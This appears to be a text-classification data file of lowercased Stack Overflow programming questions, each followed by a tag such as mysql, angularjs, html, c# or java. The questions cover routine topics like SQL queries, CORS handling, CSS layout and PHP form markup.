query that returns only values when all its products are in a specific condition  i have a select that returns a table like in the following example.   <pre><code>list    product location    created 790525  535107  a13.01  2014-08-05 10:47:45 790525  535107  a33.04  2014-08-05 10:47:45 798899  502279  a21.06  2014-06-16 14:27:11 798899  502284  a19.03  2014-06-16 14:00:40 798899  502284  c.06.12 2014-06-16 14:00:40 804005  624390  c.19.00 2014-10-07 16:10:44 804005  624390  a.17.07 2014-10-07 16:47:08 804005  625333  c.01.01 2014-10-05 14:00:01 804738  537045  c.41.06 2014-08-04 18:20:08 </code></pre>   this query is already grouped by list and product and ordered by the created date. i can t seem to find a way to create a query that returns all the list numbers where for all products there is a location started with  a  as it s oldest locations.    in the above example it would return 790525 (oldest location for its only product is a13.01)  798899 (oldest location for both its products starts with a) and nothing else. because the remaining lists don t have an oldest location started with a.    can anyone here wrap their heads around this  i need this in a single query but at this point any solution would be welcome.,mysql
angularjs $http seems to not respond correctly when i am using cors  i have an angularjs application. it sends out requests to another server for data and so there s an options request goes out with every $http call.     when i check with fiddler there are two calls. the options that always returns a 200 ok and then the data call.     however when i check the $http it seems that it s getting the first request ( the options request ) and not getting the second request the one with real data.     can someone point me in the right direction with this     here s one example of the code that is not responding correctly:   <pre><code> .factory( isusernameavailable   function (appconstant  $q  $http) {     return function (username) {         var deferred = $q.defer();         // if (!angular.isdefined(username) || username == null || username ==    || username.length &lt; 6 ) return deferred.resolve();         var url = appconstant.baseurl +  /api/user/existsbyname ;         $http({             url: url              method:  put               data: {                 username: username             }         }).then(function (data) {                 // found the user  therefore not unique.                 deferred.reject( user name is taken );             }  function (data) {                 // user not found  therefore unique!                 deferred.resolve();             });         return deferred.promise;     }   }) </code></pre>   i expect it to be returning as success or failure depending on if it finds the username. but in this case it always responds as a fail/error.    here are the requests being made:   <pre><code>options http://localhost:3048/api/user/existsbyname http/1.1 host: localhost:3048 connection: keep-alive access-control-request-method: put origin: http://localhost:2757 user-agent: mozilla/5.0 (windows nt 6.1; wow64) applewebkit/537.36 (khtml  like gecko) chrome/39.0.2171.95 safari/537.36 access-control-request-headers: accept  authorization  content-type accept: */* referer: http://localhost:2757/auth/register accept-encoding: gzip  deflate  sdch accept-language: en-us en;q=0.8 </code></pre>   giving:    <pre><code>http/1.1 200 ok server: microsoft-iis/8.0 access-control-allow-origin: http://localhost:2757 access-control-allow-credentials: true access-control-allow-methods: put access-control-allow-headers: content-type x-sourcefiles: = utf-8 b qzpcr1xhymlsaxrlc3qtc2vydmvyxfdlyljvbgvcyxbpxhvzzxjczxhpc3rzqnloyw1l = x-powered-by: asp.net date: mon  12 jan 2015 17:52:12 gmt content-length: 0 </code></pre>   then:   <pre><code>put http://localhost:3048/api/user/existsbyname http/1.1 host: localhost:3048 connection: keep-alive content-length: 35 accept: application/json  text/plain  */* origin: http://localhost:2757 user-agent: mozilla/5.0 (windows nt 6.1; wow64) applewebkit/537.36 (khtml  like gecko) chrome/39.0.2171.95 safari/537.36 authorization: null content-type: application/json;charset=utf-8 referer: http://localhost:2757/auth/register accept-encoding: gzip  deflate  sdch accept-language: en-us en;q=0.8  { username : abdddcdefgg@live.com } </code></pre>   giving:   <pre><code>http/1.1 404 not found cache-control: no-cache pragma: no-cache expires: -1 server: microsoft-iis/8.0 access-control-allow-origin: http://localhost:2757 access-control-allow-credentials: true access-control-allow-origin: * access-control-expose-headers: x-custom-header x-aspnet-version: 4.0.30319 x-sourcefiles: = utf-8 b qzpcr1xhymlsaxrlc3qtc2vydmvyxfdlyljvbgvcyxbpxhvzzxjczxhpc3rzqnloyw1l = x-powered-by: asp.net date: mon  12 jan 2015 17:52:12 gmt content-length: 0 </code></pre>   the problem is even if the second request returns a 200 when i debug the success and error functions it still goes to the error function all of the time.,angularjs
ng-click with a href in angularjs  and i have the following links in my page as following :   <pre><code>&lt;li ng-repeat= o in villes | shuffle | limitto:5 &gt;&lt;a href= #  ng-click= searchbyville({{o.codeville}}) &gt;{{o.nomville}}&lt;/a&gt;&lt;/li&gt; </code></pre>   i want when i click on some link to call the <code>searchbyville</code> function and to log the parameter i passed to it as following :   <pre><code>$scope.search = function(id){     console.log(id);   } </code></pre>   which doesn t work.    how can i solve this,angularjs
"image alignment issue in html  i am creating a small page using html which has a header and a body. the header is within a  tag with blue background.     the problem i am facing is an image(android.png) which i want to be displayed in right end of the header seems getting placed below the header. how can i place the image in the right of the header.    <strong>i don t want to use css to align the image.</strong>    <strong>click run code snippet to view the current page layout</strong>    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;html&gt;
 &lt;body&gt;
 
 &lt;div style= width:400px;height:60px;border:1px solid blue;background-color:#2196f3  &gt;
   &lt;img align= left  width= 80px  height= 50px  src= http://icons.iconarchive.com/icons/igh0zt/ios7-style-metro-ui/512/metroui-google-gmail-icon.png &gt;
   &lt;div text-align= left  style= font-size:20px;color:white &gt;&lt;h3&gt;something&lt;/h3&gt;&lt;/div&gt;
   &lt;img align= right  width=150px height=50px src= http://www.sona-systems.com/img/android.png &gt;
 &lt;/div&gt;
 
 &lt;div style= width:400px;height:400px;border:1px solid blue &gt;
 &lt;p&gt;
 hey &lt;br&gt;
 i am on vacation. i will respond after i come back&lt;/p&gt;
 
 &lt;i&gt;&lt;p&gt;sent from gmail&lt;/p&gt;&lt;/i&gt;
 &lt;/div&gt;
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",html
change sqldatasource connection string in asp.net dynamically  i have a page in asp.net (web forms) that up until now only had one database for data.    so all the controls that require something from the database use a datasource and the same connection string.    <pre><code>&lt;asp:sqldatasource id= sqldatasource1  runat= server                      connectionstring= &lt;%$ connectionstrings:defaultconnectionstring %&gt;                       providername= system.data.sqlclient                                           selectcommand= select ...  &gt; &lt;/asp:sqldatasource&gt; </code></pre>   up until now i only needed one connection string since i had only one database but this has changed since i want some users to connect to database a and others to database b    what would be the correct way to go about it  preferably without many changes...,asp.net
capture command line output (by character output  not having to wait per line)  i m currently rendering the output of a command line process into a text box. the problem is that in a normal command prompt window  one of the lines that is written has a load bar kind of thing... where every few seconds it outputs a  .  to the screen.... after a few dots  it will start a new line and then continue loading until it has completed its process.    with the following code  instead of getting these  .  appear one by one  my outputdatarecieved is waiting for the whole line to be written out... so the load bar is useless... ie  it waits for  .............  and thennnn it acts upon it.    is there a way to keep track of every character being output to the screen rather than what seems to be per line outputs    <pre><code>//create process system.diagnostics.process process = new system.diagnostics.process();  // arguments.processstartinfo contains the following declaration: // processstartinfo = new processstartinfo(  cmd.exe  ) // { //     workingdirectory = executabledirectoryname  //     useshellexecute = false  //     redirectstandardinput = true  //     redirectstandardoutput = true  //     createnowindow = true  // } process.startinfo = arguments.processstartinfo;  //start the process stringbuilder sb = new stringbuilder();  bool alreadythrownexit = false;  // the following event only seems to be run per line output rather than each character rendering the command line process useless process.outputdatareceived += ( sender  e ) =&gt; {     sb.appendline( e.data );     commandlinehelper.commandlineoutput = sb.tostring();     arguments.delegateupdatetextmethod();      if( !alreadythrownexit )     {         if( process.hasexited )         {              alreadythrownexit = true;             arguments.delegatefinishmethod();             process.close();         }     } };  process.start(); process.standardinput.writeline( arguments.command ); process.standardinput.writeline(  exit  );  process.beginoutputreadline(); </code></pre>,c#
excevp into array to be used later  i am using execvp to find certain files. this is the code i am using:   <pre><code>char *argv1[] = { find    -name    *.jpg   null}; execvp( find  argv1); </code></pre>   i was wondering is there a way to store/hold the results from the execvp into an array for later user   also is there a way i can get only the desired file instead of the whole path     this is my readdir() functoin.    <pre><code>static void list_dir (const char * dir_name) {     char *arrayfiles[100];     dir * d;     /* open the directory specified by  dir_name . */     int i = 0;     d = opendir (dir_name);      /* check it was opened. */ if (!d) {     fprintf (stderr   cannot open directory  %s : %s\n                dir_name  strerror (errno));     exit (exit_failure); } while (1) {     struct dirent * entry;     const char * d_name;      /*  readdir  gets subsequent entries from  d . */     entry = readdir (d);     if (! entry) {         /* there are no more entries in this directory  so break            out of the while loop. */         break;     }     d_name = entry-&gt;d_name;    if ((strstr(d_name   .jpg )) || (strstr(d_name   .jpg ))){ /* skip printing directories */     if (! (entry-&gt;d_type &amp; dt_dir)) {     char *filename = entry-&gt;d_name;     printf ( %s\n   d_name);  } </code></pre>   }   <pre><code>     if (entry-&gt;d_type &amp; dt_dir) {               /* skip the root directories ( .  and  .. )*/             if (strcmp (d_name   .. ) != 0 &amp;&amp; strcmp (d_name   . ) != 0) {                  int path_length;                 char path[path_max];                  path_length = snprintf (path  path_max                                           %s/%s   dir_name  d_name);                 if (path_length &gt;= path_max) {                     fprintf (stderr   path length has got too long.\n );                     exit (exit_failure);                 }                 /* recursively call  list_dir  with the new path. */                 list_dir (path);             }         }  }      /* after going through all the entries  close the directory. */     if (closedir (d)) {         fprintf (stderr   could not close  %s : %s\n                    dir_name  strerror (errno));         exit (exit_failure);     } } </code></pre>,c
allow consumer app on foursquare  i have created an consumer app with a back end of .net to access with foursquare api features. installing the app through the web is working fine  but the issue is when using the iphone foursquare application when allow the created consumer application  following error message displays   couldn t load this web content please try again..  and the app wont get installed.    please tell me which step i missed in when setting up the consumer app.,.net
error: expected unqualified-id before  friend  <pre><code>struct side {           /* attacks */     byte attack[64];     int king;     byte pawns[10]; };     static struct side white  black  *friend  *enemy; </code></pre>   this is part of a small chess program i m doing in c++     when i compile  however  i get the following errors:   <blockquote>    expected unqualified-id before  friend         expected initializer before  friend   </blockquote>   is the syntax wrong,c++
change culture datetimepicker for .net specially persian calendar  . net datetimepicke can not change to persian calendar i need a multi culture datetimepicker that support geregorian and persian and hijri cultures.,.net
if an app gives me the system.argumentoutofrangeexception  does that mean it is a bug in the app   i have this problem with an app of a printer. i need to know if it is an error in my installation or a bug in the app. i think it is a bug (programmer didn t catch this exception)  and i suspect this app is made in c# and they didn t noticed the uncaught exception when they upgraded their printers (the fact is that they added a character in the printer s and the driver s name  and the exception was thrown because of the driver s name).,.net
break long url in text editor to 80 characters  keeping it functional and respecting indentation  i code mainly in python  so proper indention is an important issue. i have some html code that contains a very long url. something like this:   <pre><code>&lt;div id= main_content_wrap  class= outer &gt;   &lt;section id= main_content  class= inner &gt;            &lt;p align= justify &gt;     aaa bbb ccc  ddd &lt;a href= http://www.example.com/asaslkdsdfkjsd/fkjsdlfsdlfjsdlf/kjsdlfkj/sldfjslkdfj/skldfjklsdjf &gt;long link&lt;/a&gt; eee.     &lt;/p&gt;   &lt;/section&gt; &lt;/div&gt; </code></pre>   if i break that url indenting it to align with the above line (<code>aaa bbb...</code>)  it won t work anymore in the live html since spaces are inserted. the url will thus point to:    <a href= http://www.example.com/asaslkdsdfkjsd/%20%20%20%20fkjsdlfsdlfjsdlf/kjsdlfkj/sldfjslkdfj/skldfjklsdjf  rel= nofollow noreferrer >http://www.example.com/asaslkdsdfkjsd/%20%20%20%20fkjsdlfsdlfjsdlf/kjsdlfkj/sldfjslkdfj/skldfjklsdjf</a>    (notice the inserted string <code>%20%20%20%20</code>). i am forced to break it so that the second line begins at column 1  ie:   <pre><code>&lt;div id= main_content_wrap  class= outer &gt;   &lt;section id= main_content  class= inner &gt;            &lt;p align= justify &gt;     aaa bbb ccc  ddd &lt;a href= http://www.example.com/asaslkdsdfkjsd/ fkjsdlfsdlfjsdlf/kjsdlfkj/sldfjslkdfj/skldfjklsdjf &gt;long link&lt;/a&gt; eee.     &lt;/p&gt;   &lt;/section&gt; &lt;/div&gt; </code></pre>   this keeps the url functional  but i don t like it because it does not respect the indentation of the code.    this seems like a rather simple issue  but i haven t found a proper solution.,html
redirect with timer in php   how can i make a redirect with php after say 10 seconds...    i have read alot about it  seems like it would be better with javascript. but php would save me alot of coding.    so how can i make a redirect with timer in php      thanks,php
ios: strings.xml equivalent in ios app dev   in the app i m making i have a lot of huge strings. i don t want to hardcode these into my code because it makes the code unbearably messy. when i made a similar android app  it was a simple matter of declaring the string in strings.xml as   <pre><code>&lt;string name= hello_world &gt;hello world!!&lt;/string&gt; </code></pre>   and accessing it in the java file with   <pre><code>getstring(r.string.hello_world); </code></pre>   how can i do something like this with ios,ios
iphone debug dump  i am unit testing an application on the iphone  and i m trying to develop a built-in method to record a specific action that users make to interact with my application.  i would like for this data to be transported back to me in some way.  originally  i had a method of collecting this information  but i had to be around.  this was with nc.    now  i am thinking of formatting the data and sending it as an email.    this is purely a design question  but does anyone have another suggestion for collecting large quantities of data   i ve toyed with the idea of dumping the data into the iphone filesystem  and asking my testers to politely retrieve them via ssh  but this requires all test devices to be jailbroken  and is not a viable solution.    the best that i ve come up with is to just format this data  shove it into the body of an email  and send it to a hard-coded email (mine).    is it possible to format this data into a file  and send as an attachment   this would also be a much more convenient solution  as it s confined to what i ve thought up.    for clarity sake  the flow of this looks something like this:   <ol> <li>distribute beta</li> <li>users interact with beta</li> <li>for every use that results in a bug  dump the data into a format that my industry standard desktop app can read</li> <li>attempt to correct for this behavior on the iphone by simulating the algorithm with the collected data</li> </ol>   so it s not purely for usage analysis  it s purely for debugging.,iphone
how to integrate google places api into our application   iam developing one application.in that i want to use the google places api.i written the url and established the connection like   <pre><code> nsurl *url = [nsurl urlwithstring:@ https://maps.googleapis.com/maps/api/place/search/json location=-33.8670522 151.1957362&amp;radius=500&amp;types=food&amp;name=harbour&amp;sensor=true&amp;key=aizasydbiwwiomc08ysb9dakdytwxh_pirvuxpm ]; nsurlrequest *request=[[nsurlrequest alloc]initwithurl:url]; [[nsurlconnection alloc] initwithrequest:request delegate:self];  but in did finish loading delegate method i cant get the data.that code is here. - (void)connectiondidfinishloading:(nsurlconnection *)connection  { [connection release]; nsstring *responsestring = [[nsstring alloc]initwithdata:responsedataencoding:nsutf8stringencoding];     [responsedata release];     sbjson *parser = [[sbjson alloc]init];       nsdictionary *data = (nsdictionary *) [parser objectwithstring:responsestring error:nil];   } </code></pre>   so please tell me where i did the mistake.why iam not getting the data.,iphone
javascript - fading from one item to another pops up with both briefly  i have a testimonials area on my website that fades from one testimonial to another. i m having an issue where it will fade out too slowly before the next item fades in causing both to come up making a large div making it look ugly.    i want it to fade from one testimonial to another without jumping and flashing with both.    you can see an example here: <a href= http://ledragonvert.com/index_test.php  rel= nofollow >http://ledragonvert.com/index_test.php</a>    here is my javascript code:   <pre><code>function rotate_p() { if (p_current == p_count) { p_current = 1; } else { p_current++; } var $container = $( #container ); $container.find( p ).fadeout(); $container.find( p:nth-child(  + p_current +  ) ).fadein(); }  var p_count; var p_current = 0; var p_interval; $(document).ready(function () { rotate_p(); p_count = $( #container ).find( p ).length; p_interval = setinterval(function () {rotate_p();}  7000); }); </code></pre>   thanks you very much for taking your time out to help me.,javascript
style attribute in <td> tag not working in firefox  i have an html table and am trying to add a gradient using a <code>style</code> attribute on the <code>&lt;td&gt;</code>. this works in ie  but not firefox  opera  or chrome.   <pre><code>&lt;td height= 100%  width= 10%  valign= top      style= filter:progid:dximagetransform.microsoft.gradient(startcolorstr= #6487db ‌​  endcolorstr= #003366   gradienttype= 0 );  &gt; &lt;/td&gt; </code></pre>   how can i get this to work in firefox  etc.,html
java: using system parameters vs  regular  command line options  let us assume a java application  accepting an integer command line argument  say <code>bubu</code>.     assuming one uses a decent command line parser (and i do - <a href= http://pholser.github.com/jopt-simple/  rel= nofollow noreferrer >http://pholser.github.com/jopt-simple/</a>) plus keeping in mind the -d java switch  these are some of the typical ways to pass this command line parameter:   <ol> <li><code>--bubu 5</code> (or <code>--bubu=5</code> or <code>--bubu5</code>)</li> <li><code>-dbubu=5</code></li> </ol>   where the first one is the program argument and must be handled by the application using some command line parser  whereas the second is the vm argument and is already parsed by java  making it available as <code>integer.getinteger( bubu )</code>    i am kinda puzzled. what should i use  using the system property facility:   <ul> <li>seems to cost nothing</li> <li>does not depend on any command line parser library</li> <li>provides convenient (albeit unexpected) api to obtain the values</li> </ul>   as far as i can see  the only cons is that all the command line options have to use the <code>-d</code> flag.    please  advice.    thanks.    <strong>edit</strong>    another pros for the system parameters -  they re usable even when the application is not a stand-alone app starting from a main  but also when the app is a webapp or a unit test.  - thanks <a href= https://stackoverflow.com/users/571407/jb-nizet >https://stackoverflow.com/users/571407/jb-nizet</a>    <strong>edit2</strong>    let me be more focused here. is there any serious reason (besides esthetics) not to use the system parameters  like always     <strong>edit3</strong>    ok  i think i get it now. if my code is likely to be loaded by a web application  then there is an issue of a potential name clash  since other web applications hosted by the same web container share the system property space with my code.     therefore  i have to be prudent and disambiguate my system properties beforehand. so  no more <code>bubu</code>  it is <code>com.shunra.myapp.bubu</code> now. meaning that instead of a simple    <pre><code>-dbubu=5 </code></pre>   i have   <pre><code>-dcom.shunra.myapp.bubu=5 </code></pre>   which becomes less attractive for a simple command line application.    another reason is given by <a href= https://stackoverflow.com/users/228171/mark-peters >mark peters</a>  which is pretty good to me.,java
align image added by css content tag  i want to add a checkbox to <code>div</code> element. it s can be easily done by using <code>content:before</code> tag. so this css   <pre><code>.btn {     border: 1px solid #606060;     background: #e3e3e3;     -webkit-border-radius: 8px;     -moz-border-radius: 8px;     border-radius: 8px;      -moz-box-shadow:    inset 0 0 5px #38414d;     -webkit-box-shadow: inset 0 0 5px #38414d;     box-shadow:         inset 0 0 5px #38414d;     cursor: pointer;     text-align: center;     width: 200px;     height: 55px;     line-height: 55px; }   .btn:before {     content:url(http://tinyurl.com/pmrqpon); } </code></pre>   results this button.    <img src= https://i.stack.imgur.com/pgrva.png  alt= enter image description here >    the problem is that this new content element is added by css dynamicly. but i need to place it right in <code>div</code> <strong>without changing the position of  button  text.</strong> how can i achive this,css
horizontal white space between divs  i have been trying to build a very simple layout where everything flows vertically but as soon as i add any content to one of the divs  it creates whitespace between the div below it.     here is an image for an example: <a href= http://chriswebbonline.com/imagelinks/help.jpg  rel= nofollow >http://chriswebbonline.com/imagelinks/help.jpg</a>    here is my html   <pre><code>&lt;body&gt;  &lt;div id= container &gt;  &lt;div id= header &gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;/div&gt;  &lt;div id= chat &gt; &lt;p&gt;.&lt;/p&gt; &lt;/div&gt;  &lt;div id= footer &gt; &lt;p&gt;.&lt;/p&gt; &lt;/div&gt;  &lt;/div&gt; &lt;/body&gt; </code></pre>   here is my css   <pre><code>body {     background-color:#777;     font-family:verdana  geneva  sans-serif; }  #container {     width:100%;     }  #header {     text-align:center;     background-color:#000;     color:#fff;     }  #chat {     background-color:#eee;         }  #footer {     background-color:#000;     } </code></pre>   i would like to know how to stop the whitespace from automatically appearing.     ~chris,css
mysql encryption key storage on file  i have a mysql server on a linux server. i am using aes encryption functions to store data in the db server. commands are like this ones:   <pre><code>insert into userc (name  town) values ( john  aes_encrypt( nebraska    usa2010 )); select cast(aes_decrypt(town   usa2010 ) as char(50)) town_decrypt from userc; </code></pre>   my concern on this kind of encryption is that everything needed to access my data is travelling in clear  so a sniffer or a debug level log are capable of capturing everything.    is there a way of not sending the key in the command  but having it stored on a file (/home/user/key.txt) and so calling the encryption in a way similar to this:   <pre><code>insert into userc (name  town) values ( john  aes_encrypt( nebraska   key1)); </code></pre>   where key1 is the reference to the file where the key is stored,mysql
input string was not in correct form  im really bad with c# i have only really the basic knowladge of c# i have this piece of code but i cant get it to work probelly debugger says the problem is here <a href= http://puu.sh/2h2wv  rel= nofollow >http://puu.sh/2h2wv</a> the code is here this is im sorry this is probally such an easy mistake i had other code true was my old programm :(   <pre><code>  console.writeline( sisesta esimene arv vahemikus 10-20 );             vastus1 = int.parse(console.readline());             console.writeline( sisesta teine arv vahemikus 20-32 );             vastus2 = int.parse(console.readline());             console.writeline( vastus {0}   vastus2 - vastus1);              string tekst1 = console.readline();             vastus3 = int.parse(tekst1);   &lt;------ debugger says problem is here         }         while ((vastus1 &lt; 1 || vastus2 &lt; 12));          if (vastus3 &gt;= 3 &amp;&amp; vastus3 &gt;= 5)          {             console.writeline( on kevad );                  {                     if (vastus3 &gt;= 6 &amp;&amp; vastus3 &gt;= 8)                      {                         console.writeline( on suvi );                     }                 }                 if (vastus3 &gt;= 9 &amp;&amp; vastus3 &gt;= 11)                  {                     console.writeline( on sügis );                }                 if (vastus3 &gt;= 11 &amp;&amp; vastus3 &gt;= 2)                  {                     console.writeline( on talv );                 }             }          }     } } </code></pre>,c#
remove same values in a string  is it possible to remove duplicated values in a string      e.g: <code>aaa  bbb  ccc  ddd  bbb  ccc  eee  fff  ggg</code>    the expected output be like: <code>aaa  bbb  ccc  ddd  eee  fff  ggg</code>    i have no idea how should i achieve on this.,javascript
when i override the getter  should i release the object in dealloc   i have read some source code from a github project.. the project uses lazy loading  and override the getter to make sure saving resources.and release it in dealloc..the code like this:   <pre><code>-(xhmessagetableview *)messagetableview { if (!_messagetableview) {     _messagetableview = [[xhmessagetableview alloc] initwithframe:self.view.bounds style:uitableviewstyleplain];     _messagetableview.autoresizingmask = uiviewautoresizingflexiblewidth | uiviewautoresizingflexibleheight;     _messagetableview.datasource = self;     _messagetableview.delegate = self;     _messagetableview.separatorcolor = [uicolor clearcolor];     _messagetableview.separatorstyle = uitableviewcellseparatorstylenone; } return _messagetableview; </code></pre>   }    in init:   <pre><code>[self.view addsubviews:self.messagetableview]; </code></pre>   in dealloc:   <pre><code>-(void)dealloc { _messagetableview = nil;} </code></pre>   in arc   is it necessary to set the property nil if override it,ios
i am implementing focus listener to my suduku game but its not working  if user enter any alphabet in my suduku board it will not allow to go to other cells until he change that alphabet to digit.if he press tab also doesnot move .if he makes use of mouse also does not get into other cell until he changes that alphabet.also if alphabet enters a message want to display alphabets are not allowed.i my code the message displaying three time and repetdly .how to avoid this.i want to display message once untill user changes the alphabet and focus is on the current alphabet entered cell only.    code:   <pre><code>private void setpuzzle(){                for(int row=0;row&lt;size;row++){                   for(int col=0;col&lt;size;col++){                       cell[row][col]=new jtextfield(3);                        cell[row][col].sethorizontalalignment(jtextfield.center);                        cell[row][col].addfocuslistener(this);                     panel.add(cell[row][col]);                   }                }            }      @override     public void focusgained(focusevent e) {        // throw new unsupportedoperationexception( not supported yet. ); //to change body of generated methods  choose tools | templates.     }      @override     public void focuslost(focusevent e) {           for(int i=0;i&lt;size;i++){            for(int j=0;j&lt;size;j++){                 string value=(cell[i][j].gettext());                 if(value.equals(  )){                        cell[i][j].setbackground(color.white);                   }                    else if (!value.matches( [1-9]+ )){                      cell[i][j].setbackground(color.red);                         cell[i][j].requestfocus();                    joptionpane.showmessagedialog(getparent()  alphabetsare not allowed );                   }                }            }         } } </code></pre>,java
coredata or sqlite which should be used in iphone application for local storage of data  i want to develop an iphone application. on which i have to use db to store data locally.but i am confused about whether i should use sqlite or coredata.my application has a centralised database and i am taking data from that db using web service.,iphone
why does my query return an empty result   here s the dataset:   <ul> <li> <code>movie</code> (<code>mid  title  year  director</code>)<br> english: there is a movie with id number <code>mid</code>  a title  a release year  and a director.  </li> <li> <code>reviewer</code> (<code>rid  name</code>)<br> english: the reviewer with id number <code>rid</code> has a certain name.  </li> <li> <code>rating</code> (<code>rid  mid  stars  ratingdate</code>)<br> english: the reviewer <code>rid</code> gave the movie <code>mid</code> a number of stars rating (1-5) on a certain <code>ratingdate</code>.  </li> </ul>   here s the question: find the titles of all movies that have no ratings.     my answer: (returns an empty set)   <pre><code> select m.title  from movie m   join rating r on m.mid = r.mid  where stars is null </code></pre>   correct answer:   <pre><code> select title  from movie   left join rating using (mid)  where stars is null </code></pre>   i m not sure what s wrong with my join  thanks in advance!,sql
how to bind the id of a select box selection  i have a select box that displays geoareaname  i need the geoareaid of that selection to populate a input field. i have done something similar with a typeahead input but i am unable to apply it here.  <a href= http://plnkr.co/edit/zypyanabs9osyfcmo3hx p=preview  rel= nofollow >plunkr</a>   <pre><code>&lt;label&gt;geo&amp;nbsp;area:&lt;/label&gt;   &lt;select ng-controller= jobmiscctrl   ng-model= currentitem.geoareaname  ng-options= job.geoareaname for job in geoareaarray &gt;    &lt;option value=  &gt;&lt;/option&gt;   &lt;/select&gt;    &lt;input type= number  ng-model= currentitem.geoareaid  /&gt; </code></pre>,angularjs
two dropdown and checkboxes on same page not working  i have to use same checkboxes and dropdowns according to the if condition  ---->   <pre><code>&lt;div id= 5   &lt;  if($long_term_rental!=1) { &gt; style= display:none  &lt;  } else { &gt;style= display:block  &lt;  }  &gt;&gt;                      &lt;table width= 85%  &gt;                     &lt;tr class= td3 &gt; &lt;td&gt;city  &lt;/td&gt;                     &lt;td&gt;&lt;select style= width:100px;  name= citylong  size= 1  class= textfeild1  id= citylong &gt;                      &lt;option  &lt;  if($citylong== none )echo  selected= selected  ; &gt;&gt;none&lt;/option&gt;                       &lt;option &lt;  if($citylong== palm springs )echo  selected= selected  ; &gt;&gt;palm springs&lt;/option&gt;                       &lt;option &lt;  if($citylong== cathedral city )echo  selected= selected  ; &gt;&gt;cathedral city&lt;/option&gt;                       &lt;option &lt;  if($citylong== rancho mirage )echo  selected= selected  ; &gt;&gt;rancho mirage&lt;/option&gt;                       &lt;option &lt;  if($citylong== palm desert )echo  selected= selected  ; &gt;&gt;palm desert&lt;/option&gt;                       &lt;option &lt;  if($citylong== la quinta )echo  selected= selected  ; &gt;&gt;la quinta&lt;/option&gt;                       &lt;option &lt;  if($citylong== indian wells )echo  selected= selected  ; &gt;&gt;indian wells&lt;/option&gt;                     &lt;/select&gt;&lt;/td&gt;&lt;/tr&gt;                    &lt;tr class= td2 &gt;                   &lt;td align= left &gt;upper/lower/town house/single story&lt;/td&gt;                     &lt;td align= left &gt;&lt;select style= width:100px;  name= floorlong  size= 1  class= textfeild1  id= floorlong &gt;                       &lt;option  &lt;  if($floorlong== none )echo  selected= selected  ; &gt;&gt;none&lt;/option&gt;                       &lt;option &lt;  if($floorlong== upper )echo  selected= selected  ; &gt;&gt;upper&lt;/option&gt;                       &lt;option &lt;  if($floorlong== lower )echo  selected= selected  ; &gt;&gt;lower&lt;/option&gt;                       &lt;option &lt;  if($floorlong== th )echo  selected= selected  ; &gt;&gt;th&lt;/option&gt;                      &lt;option &lt;  if($floorlong== single story )echo  selected= selected  ; &gt;&gt;single story&lt;/option&gt;                       &lt;/select&gt;&lt;/td&gt;                           &lt;/tr&gt;                            &lt;tr class= td2 &gt;                     &lt;td&gt;&amp;nbsp;&lt;/td&gt;                     &lt;td &gt;pets allowed : &lt;/td&gt;                     &lt;td &gt;&lt;input class= textfeild1  type= checkbox  name= petslong  id= petslong  value= pets  &lt;  if($petslong==1) echo  checked= checked  ; &gt;/&gt;&lt;/td&gt;                     &lt;td&gt;pool : &lt;/td&gt;                     &lt;td&gt;&lt;input class= textfeild1  type= checkbox  name= poollong  id= poollong  value= pool  &lt;  if($poollong==1) echo  checked= checked  ; &gt;/&gt;&lt;/td&gt;                     &lt;td align= right &gt;&amp;nbsp;&lt;/td&gt;                   &lt;/tr&gt;                        &lt;tr class= td2 &gt;                     &lt;td&gt;&amp;nbsp;&lt;/td&gt;                     &lt;td&gt;jacuzzi  : &lt;/td&gt;                     &lt;td&gt;&lt;input class= textfeild1  type= checkbox  name= jacuzzilong  id= jacuzzilong  value= jacuzzi  &lt;  if($jacuzzilong==1) echo  checked= checked  ; &gt;/&gt;&lt;/td&gt;&lt;/div&gt;  and on condition false display the below code----&gt;  &lt;div id= mylng   &lt;  if($long_term_rental!=1) { &gt; style= display:block  &lt;  } else { &gt;style= display:none  &lt;  }  &gt;&gt;                      &lt;table width= 100%  &gt;                     &lt;tr class= td3 &gt;                     &lt;td&gt;&amp;nbsp;&lt;/td&gt;                      &lt;td&gt;city  &lt;/td&gt;                     &lt;td&gt;&lt;select style= width:100px;  name= city  size= 1  class= textfeild1  id= city &gt;                      &lt;option  &lt;  if($city== none )echo  selected= selected  ; &gt;&gt;none&lt;/option&gt;                       &lt;option &lt;  if($city== palm springs )echo  selected= selected  ; &gt;&gt;palm springs&lt;/option&gt;                       &lt;option &lt;  if($city== cathedral city )echo  selected= selected  ; &gt;&gt;cathedral city&lt;/option&gt;                       &lt;option &lt;  if($city== rancho mirage )echo  selected= selected  ; &gt;&gt;rancho mirage&lt;/option&gt;                       &lt;option &lt;  if($city== palm desert )echo  selected= selected  ; &gt;&gt;palm desert&lt;/option&gt;                       &lt;option &lt;  if($city== la quinta )echo  selected= selected  ; &gt;&gt;la quinta&lt;/option&gt;                       &lt;option &lt;  if($city== indian wells )echo  selected= selected  ; &gt;&gt;indian wells&lt;/option&gt;                     &lt;/select&gt;&lt;/td&gt;                     &lt;td align= right  style= width: 223px; &gt;upper/lower/town house/single story&lt;/td&gt;                     &lt;td align= left &gt;&lt;select style= width:100px;  name= floor  size= 1  class= textfeild1  id= floor &gt;                      &lt;option  &lt;  if($floor== none )echo  selected= selected  ; &gt;&gt;none&lt;/option&gt;                       &lt;option &lt;  if($floor== upper )echo  selected= selected  ; &gt;&gt;upper&lt;/option&gt;                       &lt;option &lt;  if($floor== lower )echo  selected= selected  ; &gt;&gt;lower&lt;/option&gt;                       &lt;option &lt;  if($floor== th )echo  selected= selected  ; &gt;&gt;th&lt;/option&gt;                       &lt;option &lt;  if($floor== single story )echo  selected= selected  ; &gt;&gt;single story&lt;/option&gt;                       &lt;/select&gt;&lt;/td&gt;&lt;/tr&gt;                        &lt;tr class= td3 &gt;                     &lt;td&gt;&amp;nbsp;&lt;/td&gt;                     &lt;td &gt;pets allowed : &lt;/td&gt;                     &lt;td &gt;&lt;input class= textfeild1  type= checkbox  name= pets  id= checkbox9  value= pets  &lt;  if($pets==1) echo  checked= checked  ; &gt;/&gt;&lt;/td&gt;                     &lt;td&gt;pool : &lt;/td&gt;                     &lt;td&gt;&lt;input class= textfeild1  type= checkbox  name= pool  id= checkbox8  value= pool  &lt;  if($pool==1) echo  checked= checked  ; &gt;/&gt;&lt;/td&gt;                     &lt;td align= right &gt;&amp;nbsp;&lt;/td&gt;                   